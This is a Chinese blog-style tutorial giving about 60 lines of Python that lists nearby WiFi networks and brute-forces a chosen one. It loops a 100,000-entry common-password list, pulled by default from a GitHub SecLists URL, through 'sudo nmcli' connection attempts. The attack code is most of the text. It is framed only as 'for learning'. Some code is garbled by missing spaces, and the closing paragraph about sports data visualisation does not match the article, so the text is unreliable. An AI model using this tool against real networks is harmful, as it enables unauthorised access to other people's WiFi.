解锁WiFi密码，我只用了60行代码

WiFi现在已经遍布我们生活方方面面，如今，如论到工作单位，还是租住的房子，或者一家餐厅，随处都可以连上WiFi。 因此，我们对WiFi密码的需求也没有之前那么迫切了。 如何连接WiFi密码？ 本文，将会通过Python教大家如何实现，这里纯粹是为了学习用途。

WiFi列表 首先，我们需要获取附近的WiFi列表。 下面，就来写一个函数来获取附近的WiFi列表，函数命名为display_targets： def display_targets(networks, security_type): print("Select a target: \n")

rows, columns = os.popen('stty size', 'r').read().split() for i in range(len(networks)): width = len(str(str(i+1)+". "+networks[i]+security_type[i]))+2 spacer = " "

 if (int(columns) >= 100):
     calc = int((int(columns)-int(width))*0.75)
 else:
         calc = int(columns)-int(width)
 
 for index in range(calc):
     spacer += "."
     if index == (calc-1):
         spacer += " "
     
 print(str(i+1)+". "+networks[i]+spacer+security_type[i])

这里，我们会用到ssid工具包，用来获取附近的WiFi列表，存入到参数networks。

选择WiFi 获取WiFi列表之后，下一步要做的就是选择我们想要连接的WiFi， def prompt_for_target_choice(max): whileTrue: try: selected = int(input("\nEnter number of target: ")) if(selected >= 1and selected <= max): return selected - 1 except Exception as e: ignore = e​ print("Invalid choice: Please pick a number between 1 and " + str(max)) 这里很简单，就是一些通用的Python功能。

暴力破解 目前已经获取并且选择了想要连接的WiFi，那么如何获取到它的密码呢？ 这里要用到一种比较常见的方式：暴力破解。 这里，要用到Github上一个项目，它收集了最常用的10万个WiFi密码。我们就用着10万个密码暴力解锁WiFi即可。 def brute_force(selected_network, passwords, args): for password in passwords: # necessary due to NetworkManager restart after unsuccessful attempt at login password = password.strip()​ # when when obtain password from url we need the decode utf-8 however we doesnt when reading from file if isinstance(password, str): decoded_line = password else: decoded_line = password.decode("utf-8")

 if args.verbose isTrue:
     print(bcolors.HEADER+"** TESTING **: with password '" +
         decoded_line+"'"+bcolors.ENDC)​
 if (len(decoded_line) >= 8):
     time.sleep(3)​
     creds = os.popen("sudo nmcli dev wifi connect " +
         selected_network+" password "+decoded_line).read()
         
     # print(creds)​
     if ("Error:"in creds.strip()):
         if args.verbose isTrue:
             print(bcolors.FAIL+"** TESTING **: password '" +
                 decoded_line+"' failed."+bcolors.ENDC)
     else:
         sys.exit(bcolors.OKGREEN+"** KEY FOUND! **: password '" +
             decoded_line+"' succeeded."+bcolors.ENDC)
 else:
     if args.verbose isTrue:
         print(bcolors.OKCYAN+"** TESTING **: password '" +
             decoded_line+"' too short, passing."+bcolors.ENDC)​

print(bcolors.FAIL+"** RESULTS **: All passwords failed :("+bcolors.ENDC) 核心功能3个函数就完成了，只用了60行Python代码！ 下面就把它们串联在一起： def main(): require_root() args = argument_parser()​

The user chose to supplied their own url

if args.url isnotNone: passwords = fetch_password_from_url(args.url)

user elect to read passwords form a file

elif args.file isnotNone: file = open(args.file, "r") passwords = file.readlines() ifnot passwords: print("Password file cannot be empty!") exit(0) file.close() else: # fallback to the default list as the user didnt supplied a password list default_url = "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-100000.txt" passwords = fetch_password_from_url(default_url)​

grabbing the list of the network ssids

func_call = start(1) networks = func_call[0] security_type = func_call[1]

ifnot networks: print("No networks found!") sys.exit(-1)​ display_targets(networks, security_type) max = len(networks) pick = prompt_for_target_choice(max) target = networks[pick]

print("\nWifi-bf is running. If you would like to see passwords being tested in realtime, enable the [--verbose] flag at start.")​ brute_force(target, passwords, args) 执行函数，就会在命令行下显示附近的WiFi列表，选择之后就开始逐个尝试密码。

不同的颜色代表不同不同的结果： 红色：测试失败 绿色：破解成功 紫色：测试中 现在，是不是发现这个看上去很复杂的事情变得简单许多？ 结语 运动中充满了各种不同维度的数据，上述只是列举出一些我个人比较感兴趣的维度进行了分析与可视化。 希望，能够对你有所启示，能够发掘更有价值、有趣的信息，在学习和乐趣中得到最佳的实践。
